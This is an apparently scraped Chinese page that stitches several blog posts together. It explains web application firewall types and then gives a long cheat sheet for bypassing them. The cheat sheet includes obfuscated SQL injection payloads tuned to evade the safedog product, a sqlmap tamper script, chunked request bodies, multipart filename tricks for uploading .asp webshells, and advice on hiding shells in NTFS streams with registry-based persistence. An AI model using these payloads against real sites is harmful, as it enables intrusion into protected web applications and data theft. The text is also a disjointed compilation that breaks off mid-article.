精华内容
下载资源
问答
  • Waf功能、分类与绕过

    2021-01-12 16:56:22
    waf 工作原理 Web 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。 常见的系统攻击分为两类: 一是利用 Web 服务器的漏洞进行攻击,如 DDOS 攻击、病毒木马破坏等攻击...

    看到好的东西就转载了
    一. waf 工作原理
    Web 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。

    常见的系统攻击分为两类:

    一是利用 Web 服务器的漏洞进行攻击,如 DDOS 攻击、病毒木马破坏等攻击;
    二是利用网页自身的安全漏洞进行攻击,如 SQL 注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

    1. waf 简介
      WAF 是 Web 应用防火墙(Web Application Firewall)的简称,对来自 Web 应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为 Web 应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF 属于检测型及纠正型防御控制措施。WAF 分为硬件 WAF、软件 WAF(ModSecurity)和云 WAF。

    WAF 对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

    1. WAF 主要功能
      网马木马主动防御及查杀
      网页木马和网页挂马扫描工具采用特征码 + 启发式引擎的查杀算法,WEB 木马检出率大于 90%

    流量监控
    能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的 CPU 占用情况

    网站漏洞防御功能
    可拦截 GET、POST、COOKIES 等方式的 SQL 注入,可对 GET、POST、COOKIES 分别定义特征码,以及可拦截 XSS 注入等行为。

    危险组件防护功能
    全面拦截恶意代码对组件的调用权限,拦截 IIS 执行恶意程序,保护网站安全

    .Net 安全保护模块
    快捷设置.Net 安全模式,禁止.Net 执行系统敏感函数,保障网站安全

    双层防盗链链接模式

    可以针对不同站点设置防盗链的过滤,防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接,则自动重定向到错误处理页面

    网站特定资源防下载

    支持对 doc、mdb、mdf、myd 等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

    CC 攻击防护
    自主研发的独特抗攻击算法,高效的主动防御系统可有效防御 CC 攻击、流量攻击。

    网站流量保护
    支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术,大大提高服务器性能,保护网站流量。

    10.IP 黑白名单

    全 IP 黑白名单功能允许用户设置个性化的 IP 信任列表,直接屏蔽或者允许指定 IP 访问网站。同时,增加 iP 临时黑名单功能,以及实现了针对某个功能的 iP 白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

    二、市场 Waf 分类

    1. 硬件 Waf:
      绿盟、启明、安恒、知道创宇、天融信等
      硬件 Waf 通常的安装方式是将 Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。
      常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。

    2. 软件 Waf:
      安全狗、云锁、中间件自带的Waf模块、D盾等
      软件 Waf 则是安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断。

    3. 云 WAF:
      阿里云、安全狗、安恒、知道创宇、腾讯网站管家等
      云 WAF,也称 WEB 应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

    三、Waf 绕过方法
    1、burp 安装 waf 模块
    步骤:插件扩展–BApp Store–Bypass WAF
    项目选项–会议–会话处理规则–添加

    2、通过工具伪造百度、google 等 user agent 头或者伪造白名单特殊目录
    把 User-Agent 修改百度等各大搜索引擎的便可以绕过,把此处替换为百度等搜索引擎的 User-Agent

    3、编码绕过,把 SQL 语句编码便可以绕过 waf

    4、修改请求方式绕过

    利用 waf 的默认规则绕过,如默认只针对 GET 拦截,不对 post 拦截,那我们就可以用 POST 方式传输绕过 waf
    5、复合参数绕过
    例如一个请求是这样的
    GET /pen/news.php?id=1 union select user,password from mysql.user
    可以修改为
    GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
    很多 WAF 都可以这样绕,测试最新版 WAF 能绕过部分语句

    6、WAF 触发规则的绕过
    特殊字符替换空格:%0a/**/ /|%23–%23|/
    特殊字符拼接:+
    如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
    可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
    注释包含关键字
    如: GET /pen/news.php?id=1 union select user,password from mysql.user

    可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

    空格替换法
    把空格替换成 %0a// 可以绕过
    使用大小写
    http://www.
    .com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
    双写绕过
    UNIunionON SELselectECT 1,2,3,4…. 经过 waf 过滤后就变成 union select 1,2,3,4…
    异或绕过
    lucy’ Xor ‘1’=‘1’ #
    利用 WAF 本身的功能绕过,把”
    ” 替换为空 union+select+1,2,3,4….

    组合法:编码与注释
    1、 替换法 + URL 编码 2、注释 + 替换法 3、内联注释 + 替换法

    把 and 为 &&,urlencode 后为 %26%26 如:%20%26%26%20-1=-1

    7、分块传输绕过
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked
    Content-Length: 87

    4
    id=1
    6
    union
    7
    select
    2
    1
    8
    ,user(),
    5
    3,4,5
    0
    Transfer-Encoding: chunked

    id=1 union select 1,user(),3,4,5

    8、 云 waf 绕过
    寻找真实 ip 绕过云 waf

    9、 云 waf 伪造请求包头信息
    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1
    绕过 waf 的方法有很多,也有许多方式被时代淘汰,你需要不停的思考绕过它的各种可能性,不断的去完善它。

    ————————————————
    原文作者:ChenTing
    转自链接:https://learnku.com/articles/51560
    版权声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请保留以上作者信息和原文链接。

    展开全文
  • WAF可分为许多种,从产品形态上来划分,可以大致分为三类: 1.1硬件设备类 目前安全市场上,大多数的 WAF都属于此类。...

     

    WAF可分为许多种,从产品形态上来划分,可以大致分为三类:

     

    1.1硬件设备类

    目前安全市场上,大多数的 WAF都属于此类。它们以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等厂商生产的WAF都属于此类。

     

    1.2软件产品类

    这种类型的 WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,因为它必须安装在Web应用服务器上,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、 网站安全 狗等。

    1.3基于云的WAF

    随着云计算技术的快速发展,使得其于云的 WAF实现成为可能。国内创新工场旗下的安全宝、360的网站宝, imperva waf 是这类 WAF 的典型代表。

    Web应用防火墙 技术, 一般均采用反向代理技术和虚拟主机技术原理,其工作流程是,将受保护的 Web服务器建立虚拟主机,对每一个虚拟主机提供相应的安全策略来进行保护。同时把Web应用防火墙配置为反向代理服务器,用于代理Web服务器对外部网络的连接请求。当Web应用防火墙能够代理外部网络上的主机访问内部Web服务器的时候,Web应用防火墙对外就表现为一个Web服务器。它负责把外部网络上的请求转发给内部的应用服务器,然后再把内部响应的数据返回给外部网络。Web应用防火墙没有保存任何内部服务器的真实数据,所有的静态网页或者CGI程序,都保存在内部的Web服务器上。因此对Web应用防火墙的攻击并不会使得网页信息遭到破坏,这样就增强了Web服务器的安全性。


    来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/31552444/viewspace-2284849/,如需转载,请注明出处,否则将追究法律责任。

    转载于:http://blog.itpub.net/31552444/viewspace-2284849/

    展开全文
  • WAF安装与绕过

    千次阅读 2020-12-11 07:17:54
    WAF安装与绕过 WAF简介 网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程...

    WAF安装与绕过

    WAF简介

    网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。

    WAF主要功能

    网马木马主动防御及查杀

    • 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

    流量监控

    • 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

    网站漏洞防御功能

    • 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。

    危险组件防护功能

    • 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

    .Net安全保护模块

    • 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

    双层防盗链链接模式

    • 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

    网站特定资源防下载

    • 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

    CC攻击防护

    • 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。

    网站流量保护

    • 支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。

    IP黑白名单

    • 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

    市场WAF分类

    硬件WAF

    • 吕蒙、安恒、启明星辰、知道创宇等

    软件WAF

    • 安全狗、云锁、中间件自带WAF模块(Ngixn)

    云WAF

    • 阿里云、安全狗、知道创宇、安恒

    安全狗安装

    1、关闭apache程序及httpd.exe进程

    2、运行cmd,cd进入apache\bin目录

    • 运行httpd.exe -k install -n apache2.4.39

    3、打开phpstudy,和安全狗,将未安装的插件安装完成

    WAF检测的方法

    白名单、黑名单身份验证

    • 数据包解析

      • 规则判断

        • 拦截

    WAF绕过方法

    身份认证阶段的绕过

    • 1、Burpsuite安装过waf模块bypasswaf,设置自动增加变量并在项目中启用

    • 2、通过工具伪造搜索引擎(百度、Google等)User-Agent

    • 3、伪造其他特殊白名单绕过

      • 360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

        • 比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

    可以改为:
    www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
    或者
    www.spisec.com/pen/admin/…\news.php?id=1 union select user,password from mysql.user
    详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576

    • 4、直接攻击源站

      • 这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,

    数据解析阶段的绕过

    • 5、编码绕过

      • 最常见的urlencode
    • 6、修改请求方式绕过

      • 很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

    • 7、复参数绕过

      • 例如一个请求是这样的
        GET /pen/news.php?id=1 union select user,password from mysql.user
      • 可以修改为
        GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
        很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
    • 8、WAF触发规则绕过

      • WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

      • 8.1、特殊字符替换空格

        • 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
          http://192.168.0.142:8080/sql.php?id=1/|%23–%23|/union/|%23–%23|/select/|%23–%23|/1,user(),3,4,5
          http://192.168.0.142:8080/sql.php?id=1/|%23–%23|/and/|%23–%23|/1=2
      • 8.2、特殊字符拼接

        • 把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
          如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
          可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
      • 8.3、注释包含关键字

        • 在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
          如: GET /pen/news.php?id=1 union select user,password from mysql.user
          可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
      • 8.4、尝试seelct~ select~1 select! select@等绕过

    • 9、空格替换法

      • 把空格替换成%0a//可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a//即可
      • http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
    • 10、大小写绕过

      • http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
    • 11、双写替换法

      • http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
        此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4…
        关键字替换
    • 12、编码与注释结合

      • http://www..com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…
        http://192.168.0.142:8080/sql.php?id=1/
        !50000*/union/!50000/select/!50000/1,user(),3,4,5
        也可以这样
        http://192.11.22.55/sqli/Less-1/?id=1’ and /!1=1/ %23 (WAF不拦截)
        U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
        手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
        sqlmap.py -u “URL” --tamper=“versionedmorekeywords.py” --dealy=1
    • 13、利用WAF本身的功能绕过

      • 假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过
        http://www.site.com/index.php?page_id=-15+uni
        on+sel*ect+1,2,3,4…
        其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
    • 关键字替换

      • COMMAND | WHAT TO USE INSTEAD
        @@version | version()
        concat() | concat_ws()
        group_concat() | concat_ws()
        = | like|in

        • http://172.16.20.18:8080/dvwa/vulnerabilities/sqli/?id=1%27%20%55%4e%49%4f%4e%20/!%09%53%45%4c%45%43%54/%20user(),database()±-+&Submit=Submit
      • 异或绕过(XOR)

      • mod绕过

        • mod(8,7) in 1
    • 15、组合绕过

      • 1.利用()代替空格
        2.利用mysql特性/!/执行语句
        3.利用/**/混淆代码

        • 先判断注入点,把and为&&,urlencode后为%26%26
          http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
        • union/%00//!50010select/(database//()),(user//())%23
          id=1/|%23–%23|/unioN/|%23–%23|/sElect/|%23–%23|/1, user(),(database/**/()),4,5

    http://192.168.0.102:8080/sql.php?id=1 union/%00//!50010select/1,user(),version(),4,5

    	- and /*!1=1*/ %23
    	- 把and为&&,urlencode后为%26%26  如:%20%26%26%20-1=-2
    
    - 1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
    

    2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
    3.数据或者函数周围可以无限嵌套()
    4.利用好%00

    	- 判断: 1'/**/%26%261%3d2%23
    	- 判断列数: 1' order by 2%23
    	- 关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
    	- 关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23
    	- 关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23
    	- 关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23
    	- 盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23
    	- 盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23
    	- 盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23
    	- 盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23
    	- 基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
    	- 基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
    	- 基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
    	- 基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
    

    安全狗4.0绕过

    • 16、内联注释绕过

      • 和#(单行注释)和/* */(多行注释)如果在/后加惊叹号!意为/ */里的语句将被执行
      • 在mysql中 /! …/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
        但是order by (这里order不拦截by不拦截,但是order后面加by会拦截)所以我们还是用之前的内联注释测试绕过
      • 发现and能过的内联注释到了order by就不行了。这… 抓头.jpg。再测试一下将order by全部放进内联里,也不行。
        根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
        简单的fuzz 了一下,发现 了大量的可以绕过的版本号
        10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
        Lucy’ order /!11440 by/ 1,2#
      • union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行。
        但union select中间需要放两个内联才行,之后的都是这样。
        -1’ union /!11440 select/ 1,2#
      • -1’ union /!77777cz//!77777cz/ select 1,2#
      • 以前版本的在database()中间插空格符已经不管用了
        tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
        但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
        -1’ union /!77777cz//!77777cz/ select database/!77777a/(),2#
      • select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截) 这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。 这里只需要将select放进内联即可绕过,也可以像之前一样在from前面加两个内联/!77777cz/,我这里为了简洁就只写一种。 查表名
        -1’ union /!11440select/ group_concat(table_name),2 from information_schema.tables where table_schema=database/!77777cz/()#
      • 时间盲注和报错
        经测试 sleep()不会被拦但sleep()里面加数字就会被拦 updatexml()不会被拦,但是能执行的updatexml(1,1,0)会被拦截 都可以用内联进行绕过 lucy ’ /!11440or/ /!11440sleep(3)/# -1’AND updatexml/!77777cz/(1,version(),0)#
    • 17、自己修改脚本

      • 最终sqlmap tamper #!/usr/bin/env python
        “”"
        Copyright © 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
        See the file ‘LICENSE’ for copying permission
        Author:LUSHUN
        “”"

    import re
    import os

    from lib.core.data import kb
    from lib.core.enums import PRIORITY
    from lib.core.common import singleTimeWarnMessage
    from lib.core.enums import DBMS

    priority = PRIORITY.LOW

    def dependencies():
    singleTimeWarnMessage(“Bypass safedog4.0’%s’ only %s” % (os.path.basename(file).split(".")[0], DBMS.MYSQL))

    def tamper(payload, **kwargs):
    payload=payload.replace(‘AND’,’/!11440AND/’)
    payload=payload.replace(‘ORDER’,‘order/!77777cz/’)
    payload=payload.replace(“SELECT”,"/!11440SELECT/")
    payload=payload.replace(“SLEEP(”,“sleep/!77777cz/(”)
    payload=payload.replace(“UPDATEXML(”,“UPDATEXML/!77777cz/(”)
    payload=payload.replace(“SESSION_USER()”,"/!11440SESSION_USER()/")
    payload=payload.replace(“USER())”,“USER/!77777cz/())”)
    payload=payload.replace(“DATABASE()”,“DATABASE/!77777cz/()”)
    return payload

    • 18、异或绕过

      • 在^没有被过滤的时候可以利用它来测试
        异或:xor或^
        逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)
        例如:1^0 就是 1 ,1^1 就是 0
        例子:
        lucy’ Xor ‘1’=‘1’ #
        如果‘lucy’存在则前后都为真则为返回假
        如果’lucy‘不存在则前为假后都为真则为返回真
        Xor类似当前后都为真时返回假执行后面一个表达式
        如果A为真,则查出不满足B条件数据;
        如果A为假,则查出满足B条件数据;
    • 19、换行绕过

      • 换行符绕过:%23%0a、%2d%2d%0a
        %23 是url编码中的 # (也就是MySQL中的行注释符)
        %0A 是url编码中的 换行
        %23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
        而再加上%0a(也就是换行符,后面的语句又能成功执行了)
    • 20、文件上传绕过

      • 方法一:等号绕过

        • 在filename=后多添加两个等号
      • 方法二:换行绕过

        • 在文件后缀名中间换行
      • 方法三:填充垃圾字符

        • 在Content-Disposition字段后添加大量垃圾数据,来绕过对文件名的校验
      • 方法四:突破0,文件名前加0x09绕过

      • 方法五:文件名去掉双引号绕过

    WAF文件上传检测方法

    • 1、文件名前缀加[0x09]绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp”
        Content-Type: text/html
    • 2、文件名去掉双引号绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data; name=”filepath”; filename=backlion.asp
        Content-Type: text/html
    • 3、添加一个filename1的文件名参数,并赋值绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg”
        Content-Type: text/html
    • 4、form变量改成f+orm组合绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp”
        Content-Type: text/html
    • 5、文件名后缀大小写绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp”
        Content-Type: text/html
    • 6、去掉form-data变量绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: name=”filepath”; filename=”backlion.asp”
        Content-Type: text/html
    • 7、在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
        Content-Type: text/html
      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp”
        Content-Type: text/html
    • 8、backlion.asp . (空格+.)绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .”
        Content-Type: text/html
    • 9、回车换行,绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp

        Content-Type: text/html
    • 10、NTFS流 在文件名后加::$DATA绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA”
        Content-Type: text/html
      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg”
        Content-Type: text/html
    • 11、经过对IIS 6.0的测试发现,其总是采用第一个(也就是双文件上传)Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传backlion.asp成功]

      • Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
        —————————–15377259221471
        Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.txt”
        Content-Type: application/octet-stream
        Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
        Content-Disposition: form-data;
        name=”FileUploadName”; filename=”backlion.asp”
    • 12、将Content-Type和ConTent-Disposition调换顺序位置绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Type: text/html
        ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp”
    • 13、在文件名前缀加空格(tab键可替换)绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp”
        Content-Type: text/html
    • 14、在form-data加空格绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp”
        Content-Type: text/html
    • 15、在form-data的前后加上+绕过

      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp”
        Content-Type: text/html
      • ——WebKitFormBoundary2smpsxFB3D0KbA7D
        Content-Disposition: form-data+; name=”filepath”; filename=”backlion.asp”
        Content-Type: text/html

    waf工具绕过

    webshell过狗

    • 1、分段传输

      • POST /sql.php HTTP/1.1
        Host: 192.168.0.107:81
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6
        Cookie: security_level=0
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
        Content-Length: 71

    4
    id=1
    6
    union
    7
    select
    2
    1
    8
    ,user(),
    5
    3,4,5
    0

    for PART in grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'; do find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print Done

    	- 
    
    • 2、把木马创建成函数,后面只要调用函数就行

    • 3、变量覆盖

    • 4、组合法

    • 5、在线加密

    • 6、文件包含

    • 7、通过NTFS交换数据流文件实现文件隐藏

      • type test.txt>>test.txt:muma.php生成隐藏文件test.txt:muma.php:$DATA 再用包含语句来执行文件
      • 数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件

    XSS绕过WAF

    • 1、大小写绕过

    • 2、JavaScript伪协议

    • 3、没有分号绕过

    • 4、flash

    • 5、HTML5新标签

      • 新标签包含audio video source、tract
    • 6、FUZZ进行测试

    • 7、双层标签绕过

    后门分析

    • 1、代码分析,关键字定位

    • 2、网络通信分析

    • 3、进程抓包分析

      • WSockExpert
    展开全文
  • 细说——WAF

    2021-10-11 18:57:17
    WAF分类软件型WAF硬件型WAF基于云WAF开源型WAF网站内置的WAFIPS与IDS,防火墙与WAF之间的比较和差异防火墙功能IPS入侵防御系统IDS入侵检测系统WAF对比IPS与IDS防火墙与IPS / IDSWAF与IPS / IDSWAF检测手工检测工具...


    知识铺垫

    WAF是什么

    WAF,全称为:Web Application Firewall,即 Web 应用防火墙。对此,维基百科是这么解释的:Web应用程序防火墙过滤,监视和阻止与Web应用程序之间的HTTP流量。WAF与常规防火墙的区别在于,WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用程序安全漏洞的攻击,例如SQL注入、跨站点脚本,文件包含和安全性错误配置。WAF具备以下特点:

    • 全面检测WEB代码
    • 深入检测HTTP/HTTPS
    • 强大的特征库
    • 网络层的防篡改机制

    更多细节参见Web 防火墙(WAF)是什么?和传统防火墙区别是什么?

    一言蔽之,WAF就是部署在网站上的一个东东,之所以说它“东东”,是因为这玩意分好几种类型。

    主流WAF有哪些?

